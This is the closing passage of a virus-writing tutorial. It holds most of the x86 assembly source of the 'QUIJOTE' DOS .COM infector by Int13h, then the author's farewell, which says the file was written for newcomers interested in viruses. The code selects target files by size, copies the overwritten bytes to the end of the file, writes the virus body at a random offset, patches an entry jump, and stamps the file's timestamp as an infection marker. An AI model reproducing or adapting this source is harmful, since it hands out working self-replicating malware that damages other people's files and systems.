and dx,dx
jnz Closeo
cmp ax,60000d ; Big...
ja Closeo
cmp ax,2000d ; Tiny...
jbe Closeo
push bx ; Save our file handle
mov bx,ax
sub bx,Largor ; substract virus' size
mov dx,132 ; Ask for our random offset
mov ax,word ptr [Semilla-100h]
mul dx
add ax,1000
mov di,6666
adc dx,0
div di
mov ax,dx
mul bx
div di
cmp ax,3
jae Okis ; Higher than 3 please
mov ax,666
Okis: mov word ptr [Semilla-100h],ax
sub ax,3
mov word ptr [Brinco-100h+1],ax
add ax,3
pop bx ; Restore the handle
mov dx,ax
push dx
mov word ptr [Destino-100h],dx ; Save position of later restore
xor cx,cx ; We go to the selected offset
mov ax,4200h
int 21h
mov ah,3fh
mov dx,offset Buffer-100h
mov cx,Largor ; Read our buffer in that portion
int 21h
call PunteroFin ; Go to the end
mov word ptr [Origen-100h],ax ; Save position for restore
mov ah,40h
mov cx,Largor
mov dx,offset Buffer-100h ; Write at the end the portion
int 21h ; that we are going to overwrite
pop dx ; Offset where place the virus
xor cx,cx
mov ax,4200h
int 21h
mov ah,40h
xor dx,dx
mov cx,Largor ; Put the virus in the randomly
int 21h ; selected offset
call PunteroInicio ; Pointer at the beginning
mov ah,40h
mov cx,3
mov dx,(offset Brinco-100h) ; Write the jump to the virus
int 21h
db 0b9h ; mov cx, xx xx
Hora dw 0 ; Restore time and date
and cl,11100000b
or cl,00011110b ; 30*2=60!
db 0bah ; mov dx, xx xx
Fecha dw 0
mov ax,5701h
int 21h
Closeo: mov ah,3eh ; Close victim
int 21h
Popeo: pop es ds di si dx cx bx ax
jmp Interrupcion_21h
PunteroInicio:
mov ax,04200h
jmp short Mover
PunteroFin:
mov ax,04202h
Mover: xor cx,cx
cwd
int 21h
ret
db " [QUIJOTE Virus by Int13h] "
Omega:
Semilla dw 0
Buffer db Largor dup(0)
Final label byte
End Quijote
8<- [END] - - - - - - - - -<quijote.asm>- - - - - - - - - - - - - - - >8
Final Words
Uhhh!! At least we arrived at the end and i see the blessed CHR(26) get closer. This file was uncomplete for more than a year and a half at my hard disk, i had it there and i didn't want to finish it. I had thought make it more detailed and deep, but i have lost the urge. Because this i hardly added some more words, i checked it superficially and i'm launching it now. Nowadays the .COM are being forgotten, but there's always people that is beginning to be interested in viruses, and it's to them and for them that i've written this lines.
If you have any comment of all this, you can write me to the following address: int13h@antisocial.com
Greetings to all life creators of the Milky Way and a special thank to whoever
that has taken the trouble of translate this file to english.
[* It's me! ;) - BB *]